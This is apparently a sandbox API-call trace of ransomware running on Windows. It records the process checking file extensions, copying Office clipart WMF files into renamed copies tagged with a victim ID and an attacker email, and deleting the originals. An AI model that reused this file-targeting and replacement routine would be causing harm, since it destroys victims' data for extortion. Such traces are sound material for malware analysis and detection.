	[0190.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0190.414] lstrlenW (lpString=".doc") returned 4
	[0190.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.414] lstrlenW (lpString=".docx") returned 5
	[0190.414] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0190.414] lstrlenW (lpString=".pdf") returned 4
	[0190.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.414] lstrlenW (lpString=".xls") returned 4
	[0190.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.414] lstrlenW (lpString=".xlsx") returned 5
	[0190.415] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0190.415] lstrlenW (lpString=".ppt") returned 4
	[0190.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0190.415] lstrlenW (lpString=".zip") returned 4
	[0190.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.415] lstrlenW (lpString=".rar") returned 4
	[0190.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.415] lstrlenW (lpString=".bz2") returned 4
	[0190.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.415] lstrlenW (lpString=".7z") returned 3
	[0190.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0190.415] lstrlenW (lpString=".dbf") returned 4
	[0190.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0190.415] lstrlenW (lpString=".1cd") returned 4
	[0190.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0190.415] lstrlenW (lpString=".jpg") returned 4
	[0190.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.415] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.416] lstrlenW (lpString="J0105266.WMF") returned 12
	[0190.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.417] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=5908) returned 1
	[0190.417] CloseHandle (hObject=0x5c8) returned 1
	[0190.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 0x220
	[0190.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.418] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.418] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0190.420] GetLastError () returned 0x0
	[0190.420] ReadFile (in: hFile=0x5c8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x1714, lpOverlapped=0x0) returned 1
	[0190.425] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x1720, lpOverlapped=0x0) returned 1
	[0190.426] ReadFile (in: hFile=0x5c8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.426] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.426] SetEndOfFile (hFile=0x36c) returned 1
	[0190.426] CloseHandle (hObject=0x36c) returned 1
	[0190.426] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.427] SetEndOfFile (hFile=0x5c8) returned 1
	[0190.429] CloseHandle (hObject=0x5c8) returned 1
	[0190.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 1
	[0190.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0190.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0190.431] lstrlenW (lpString=".doc") returned 4
	[0190.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.431] lstrlenW (lpString=".docx") returned 5
	[0190.431] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0190.431] lstrlenW (lpString=".pdf") returned 4
	[0190.431] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.432] lstrlenW (lpString=".xls") returned 4
	[0190.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.432] lstrlenW (lpString=".xlsx") returned 5
	[0190.432] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0190.432] lstrlenW (lpString=".ppt") returned 4
	[0190.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0190.432] lstrlenW (lpString=".zip") returned 4
	[0190.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.432] lstrlenW (lpString=".rar") returned 4
	[0190.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.432] lstrlenW (lpString=".bz2") returned 4
	[0190.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.432] lstrlenW (lpString=".7z") returned 3
	[0190.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0190.432] lstrlenW (lpString=".dbf") returned 4
	[0190.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0190.432] lstrlenW (lpString=".1cd") returned 4
	[0190.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0190.432] lstrlenW (lpString=".jpg") returned 4
	[0190.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0190.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0190.433] lstrlenW (lpString=".doc") returned 4
	[0190.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.433] lstrlenW (lpString=".docx") returned 5
	[0190.433] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0190.433] lstrlenW (lpString=".pdf") returned 4
	[0190.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.433] lstrlenW (lpString=".xls") returned 4
	[0190.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.433] lstrlenW (lpString=".xlsx") returned 5
	[0190.433] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0190.433] lstrlenW (lpString=".ppt") returned 4
	[0190.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0190.433] lstrlenW (lpString=".zip") returned 4
	[0190.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.433] lstrlenW (lpString=".rar") returned 4
	[0190.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.433] lstrlenW (lpString=".bz2") returned 4
	[0190.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.433] lstrlenW (lpString=".7z") returned 3
	[0190.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0190.433] lstrlenW (lpString=".dbf") returned 4
	[0190.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0190.433] lstrlenW (lpString=".1cd") returned 4
	[0190.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0190.433] lstrlenW (lpString=".jpg") returned 4
	[0190.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.434] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.434] lstrlenW (lpString="J0105272.WMF") returned 12
	[0190.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.434] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=17728) returned 1
	[0190.435] CloseHandle (hObject=0x5c8) returned 1
	[0190.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 0x220
	[0190.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.435] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.435] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0190.436] GetLastError () returned 0x0
	[0190.436] ReadFile (in: hFile=0x5c8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x4540, lpOverlapped=0x0) returned 1
	[0190.439] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x4550, lpOverlapped=0x0) returned 1
	[0190.440] ReadFile (in: hFile=0x5c8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.440] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.440] SetEndOfFile (hFile=0x36c) returned 1
	[0190.440] CloseHandle (hObject=0x36c) returned 1
	[0190.440] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.440] SetEndOfFile (hFile=0x5c8) returned 1
	[0190.444] CloseHandle (hObject=0x5c8) returned 1
	[0190.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 1
	[0190.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0190.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0190.445] lstrlenW (lpString=".doc") returned 4
	[0190.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.445] lstrlenW (lpString=".docx") returned 5
	[0190.445] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0190.445] lstrlenW (lpString=".pdf") returned 4
	[0190.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.445] lstrlenW (lpString=".xls") returned 4
	[0190.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.445] lstrlenW (lpString=".xlsx") returned 5
	[0190.446] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0190.446] lstrlenW (lpString=".ppt") returned 4
	[0190.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0190.446] lstrlenW (lpString=".zip") returned 4
	[0190.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.446] lstrlenW (lpString=".rar") returned 4
	[0190.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.446] lstrlenW (lpString=".bz2") returned 4
	[0190.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.446] lstrlenW (lpString=".7z") returned 3
	[0190.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0190.446] lstrlenW (lpString=".dbf") returned 4
	[0190.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0190.446] lstrlenW (lpString=".1cd") returned 4
	[0190.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0190.446] lstrlenW (lpString=".jpg") returned 4
	[0190.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0190.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0190.446] lstrlenW (lpString=".doc") returned 4
	[0190.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.446] lstrlenW (lpString=".docx") returned 5
	[0190.446] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0190.446] lstrlenW (lpString=".pdf") returned 4
	[0190.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.447] lstrlenW (lpString=".xls") returned 4
	[0190.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.447] lstrlenW (lpString=".xlsx") returned 5
	[0190.447] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0190.447] lstrlenW (lpString=".ppt") returned 4
	[0190.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0190.447] lstrlenW (lpString=".zip") returned 4
	[0190.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.677] lstrlenW (lpString=".rar") returned 4
	[0190.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.677] lstrlenW (lpString=".bz2") returned 4
	[0190.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.677] lstrlenW (lpString=".7z") returned 3
	[0190.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0190.677] lstrlenW (lpString=".dbf") returned 4
	[0190.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0190.677] lstrlenW (lpString=".1cd") returned 4
	[0190.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0190.677] lstrlenW (lpString=".jpg") returned 4
	[0190.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.677] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.677] lstrlenW (lpString="J0105298.WMF") returned 12
	[0190.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0190.716] GetFileSizeEx (in: hFile=0x5ec, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=6320) returned 1
	[0190.716] CloseHandle (hObject=0x5ec) returned 1
	[0190.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 0x220
	[0190.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0190.719] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.719] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0190.720] GetLastError () returned 0x0
	[0190.720] ReadFile (in: hFile=0x5ec, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x18b0, lpOverlapped=0x0) returned 1
	[0190.722] WriteFile (in: hFile=0x580, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x18c0, lpOverlapped=0x0) returned 1
	[0190.723] ReadFile (in: hFile=0x5ec, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.723] WriteFile (in: hFile=0x580, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.724] SetEndOfFile (hFile=0x580) returned 1
	[0190.724] CloseHandle (hObject=0x580) returned 1
	[0190.724] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.724] SetEndOfFile (hFile=0x5ec) returned 1
	[0190.727] CloseHandle (hObject=0x5ec) returned 1
	[0190.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 1
	[0190.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0190.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0190.728] lstrlenW (lpString=".doc") returned 4
	[0190.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.728] lstrlenW (lpString=".docx") returned 5
	[0190.728] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0190.728] lstrlenW (lpString=".pdf") returned 4
	[0190.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.728] lstrlenW (lpString=".xls") returned 4
	[0190.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.728] lstrlenW (lpString=".xlsx") returned 5
	[0190.728] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0190.728] lstrlenW (lpString=".ppt") returned 4
	[0190.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0190.729] lstrlenW (lpString=".zip") returned 4
	[0190.729] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.729] lstrlenW (lpString=".rar") returned 4
	[0190.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.729] lstrlenW (lpString=".bz2") returned 4
	[0190.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.729] lstrlenW (lpString=".7z") returned 3
	[0190.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0190.729] lstrlenW (lpString=".dbf") returned 4
	[0190.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0190.729] lstrlenW (lpString=".1cd") returned 4
	[0190.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0190.729] lstrlenW (lpString=".jpg") returned 4
	[0190.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0190.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
